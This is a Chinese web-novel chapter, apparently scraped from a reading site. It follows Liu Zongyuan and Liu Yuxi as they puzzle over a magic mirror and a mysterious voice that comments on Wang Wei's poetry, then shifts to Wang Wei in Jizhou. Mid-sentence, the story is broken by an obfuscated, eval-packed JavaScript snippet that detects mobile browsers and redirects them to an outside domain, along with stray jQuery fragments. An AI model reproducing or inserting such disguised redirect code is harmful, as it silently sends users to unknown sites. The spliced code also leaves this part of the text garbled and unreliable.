柳宗元心里实在过意不去。
他不想对刘禹锡撒谎。
尽管也不算是撒谎,至多是隐瞒,而对于身边这个半生不熟的人,把他自己的过去全都倾诉出来,怎么想都不合情理。
可是刘禹锡察觉到他能听到天声,主动说起百炼镜的事情。
可是当他面对圣人难以作答而把困难推出去时,刘禹锡毫无回避之意。
可是刘禹锡主动提及淮南节度使之名,他却躲躲闪闪,迟迟不肯承认御史中丞是自己的亲戚。
可是刘禹锡主动坦白科举前上书天子,他自己却把话题扯远……现在倒好,柳宗元看出来刘禹锡真的信了自己的话,以为镜子是让他们反思的仙器了。
撞上刘禹锡真诚的目光,柳宗元清了清嗓子,说:“人若心里有事,是会年少就愁白了头。”
“王维也太多虑了。说不定转年就是天下大赦,或是遇到好心人举荐,他何苦担心归期遥遥无期呢。”刘禹锡回答道。
他讲个不停:“结果刚刚上路就烦闷不堪,似乎他觉得人生到了头,毫无希望可言。”
“别人都靠不住,这还是你方才讲的。”柳宗元从头分析了一下,“王维王右丞一开始就错了方向。难得进士科入仕,却进的是九寺五监,在太乐丞的位置花心思,不如早点求人调任出去。”
话虽有理,却自相矛盾。
“求谁?别人都靠不住。”
“王右丞之后的事,你自当清楚。天声的话,只作启示。”柳宗元锐不可挡的气势一下子缓和不少,“与其事后弥补,不如预先筹划。天声所言,若能让更多人知道就好了。”
“令尊给你的启示,既然我能同分享,自然可以给其他人。”
“你真心认为听到天声因我而起?”柳宗元诧异,“我岂不是神仙之子?”
刘禹锡尴尬一笑,陷入思考:“不少人能见到百炼镜中的异象,能听到天声却只有你和我,这源头究竟从何而来?”
此事一时无解。
四下寂静无声,眼前人亦不语。
柳宗元想起四年之前,他的父亲柳镇因不愿诬陷他人而得罪宰相窦参,对方公报私仇,不日贬其父亲。
当时他和母亲追着父亲离开长安,走得腿都像不是自己的了。他的父亲告诉他,虽然冤枉,但是绝不会落一滴眼泪。
听到王维诗里的愁苦,柳宗元只恨他自己从未有父亲那样坚强,也没有王维那般内心坚定。
“守正为心,疾恶不惧。”柳宗元忽然开口,“王右丞只要求自己,却不站出来主张正义,这样不好。”
刘禹锡点点头。
这么听来,柳宗元并没有代入贬谪诗人。
不过,他仔细琢磨了突如其来的八个字,柳宗元哪里是站在正义那一方啊。根本就是死不悔改那一派。
算了算了,无须计较。
柳宗元的眼神已经不似之前那么黯然。
【……咳咳,然后直接放下一首诗吗?需要分析《初出济州别城中故人》的表现手法吗?
比方说“明君照此心”等于把君主比作“明月”才会后面跟着“照”这个字。又比方说“闾阎”指村落,“井邑”指城镇,所以……】
【……听我把话说完嘛。你觉得“河润”和“海云”对不上?可我觉得“海云深”这三个字用得很妙呀。
行吧,这些道理我不是不明白。王维擅长的山水诗多了去了,要赏析也得去赏析佳作。
这篇诗词,队长没写分析。】
【……队长之前和你提过这篇不是代表作,所以不需要分析……那么不是代表作选上来做什么?我看看下一篇,也很冷门呀。
因为她自有道理?那你说说看这篇入选的道理是什么?
反驳我赏析时振振有词,让你帮队长说两句话……哑口无言?你其实也觉得选这篇不对劲,是不是?被我猜中了,对不对?】
【……队长的稿子你拿去看嘛。她选的每一篇都没有注释。之前课上的时候,我们组当时只聊说要选诗。果然只有你和我细心,每首诗都配上注释和解析。
那怎么办呢?我来补充两句当过渡!】
仙人又开始讲怪话了。
刘禹锡指着百炼镜让柳宗元好好观察。
“曲江宴上,能看到镜中异象的人有几人?”柳宗元问道。
刘禹锡心中算了一下,答:“至少有五六人。”
“能听到天声的只有你和我?”柳宗元再度确认。
“没错。”刘禹锡清楚地记得,曲江宴上被天声吓得面色都变了只有他和柳宗元。
遇到这种怪事,谁能面不改色?
更何况之前在慈恩寺的大雁塔下,显而易见无人如他们一样受到天声干扰。
“天声源头暂不可知,”柳宗元有了推论,“但能真正解读镜中画面的,目前只有你我二人。可这镜子上,仅仅是诗句而已。”
“出现诗句,只是一时情况。”
刘禹锡记得真真切切,他在镜子里见过江南的景物。或许那就是盘点的诗人之间的“过场视频”。
“我们应当让百炼镜物尽其用。”柳宗元倡议。
刘禹锡脑筋一转:“拿给礼部供起来,让大家拜一拜。”
柳宗元听了直摇头:“谁拜谁被贬。圣人能赐你这面镜子,他肯定没有……那方面的意思。”
“你既然对此这么肯定,说话声音不要越来越小啊。”刘禹锡深吸一口气,“天声的源头、仙人的来历、镜子的用处……我们都再想想。”
【在济州的贬谪生活,彻底改变了王维的性格。】
【……啊?起调起太高了?
好!重来!】
单论百炼镜和天声的来源,刘禹锡心中有百种解释。可若把镜子和天声关联在一起,他只有一个结论——
让他和柳宗元两人早点接触,多多联系。
要不然杏园之中那么多人,他刚注意到柳宗元,边上的人就观察起百炼镜来?
要不然他正在偷听柳宗元那边的谈话,险些暴露之际,就听见天声?
要不然他先和柳宗元提及镜子的异样,皇帝过来却先问起柳宗元来?
曲江宴上的情景,刘禹锡越想越觉得有问题。
若没有天声影响,柳宗元会在大雁塔起草题名吗?若没有百炼镜一事,他会把他们二人名字挨着写吗?
也说不定。
他们年龄相仿,聊得来本不足奇。
“是虫子掉我头顶上了吗?”柳宗元冷不丁来了一句。
“没有,没有,”刘禹锡回过神来,岔开话题,“王右丞的山水田园诗,这时候就有苗头了啊。”
“太意外了,”柳宗元甚是不解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372597|184003||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“他就完全指望圣人择日网开一面吗?不去想想太乐署里的事情是谁传出去的吗?”
“那不是岐王忍不住炫耀吗?”
“岐王并非不明事理,怎么会炫耀到皇帝面前。”
“除非身边有小人。”
“皇帝身边有小人。”柳宗元若有所思,“就像是我们在曲江宴上找见百炼镜,一开始可能就是个局。”
“何出此言?”
去年奸臣窦参遭宰相陆贽弹劾,以致其贬为驩州司马后旋即赐死,其朋党也尽数贬谪。唐德宗李括向来对朋党恨之入骨,如今时隔数月,心里自是耿耿于怀。
曲江宴上,户部侍郎顾少连在刘禹锡和柳宗元面前对赏赐一时犹豫,多半是怕被诬陷结交朋党。
“构陷的方法是什么呢?让新科进士注意到百炼镜,然后聚在一起?”刘禹锡心里咯噔一下。
他摇摇头,感叹道:“但凡年满十五岁,都做不出这种事情。”
“你说的没错,”柳宗元只是庆幸,“按当时圣人的举动,我们能获得赏赐,就是离他们远。总之,算是逃过一劫。”
刘禹锡眼珠一转,问:“谁会是背后主使?”
柳宗元怎么说得清,他推测道:“定是当时不露面的人。”
那不就是猜不出来了吗?
刘禹锡有些无奈。
柳宗元对幕后主使这件事,也渐渐失去了兴趣。
【担任济州司仓参军时,王维无心回朝,想成为乡野贤士。在他的眼中,那些乡贤的生活方式,出将入相都相差甚远。】
【有的乡贤出生门阀世家,童年就知道不用愁工作,有的乡贤山里有别墅还有海景房,有的乡贤工作不顺心就回家里蓄养貌美歌伎。】
【王维长于咏怀现实人物,他在济州创作的《济上四贤咏》,便兼具人物咏怀和自然山水两种题材。】
【《济上四贤咏》组诗三首,暗含了王维的归隐之心,也讽刺了唐代的门阀制度。】
【王维《济上四贤咏·成文学》】
【宝剑千金装,登君白玉堂。身为平原客,家有邯郸娼。】
济州。
王维拿出了当年初至长安的劲头。
那一年,他十五岁。
为了得到赏识早日中举,王维在长安洛阳四处拜访,朱门大户里当门客献才艺。
五年工夫。换来几个月的朝廷俸禄。
王维心有不甘。家里还有弟弟妹妹等着呢。
那么繁华的地方,他都闯出来了。
在济州这种地方,不出五个月定能赢得赞誉,有人举荐回朝。
五天!
济州的乡贤早已听闻王维的盛名,他心里的底气更足了。
昔日在长安苦不堪言吃尽闭门羹,如今在济州竟然轮到他来挑。
京城的礼数,王维熟稔在心。
上门做客,不做准备怎么能行?他特地带上自己的宝剑,如约抵达成文学宅邸门口。
大门一开,里面正如王维预想的那样——
院内草木珍奇,屋子富丽堂皇。
锦衣玉带的王维,一首按住自己价值连城的宝剑,一手悄悄背到身后,再接着仰起头来。生怕对方看出自己实际的落魄。
主人尚未见到,王维听到后房传来丝竹之声。
太好了,话题也有了。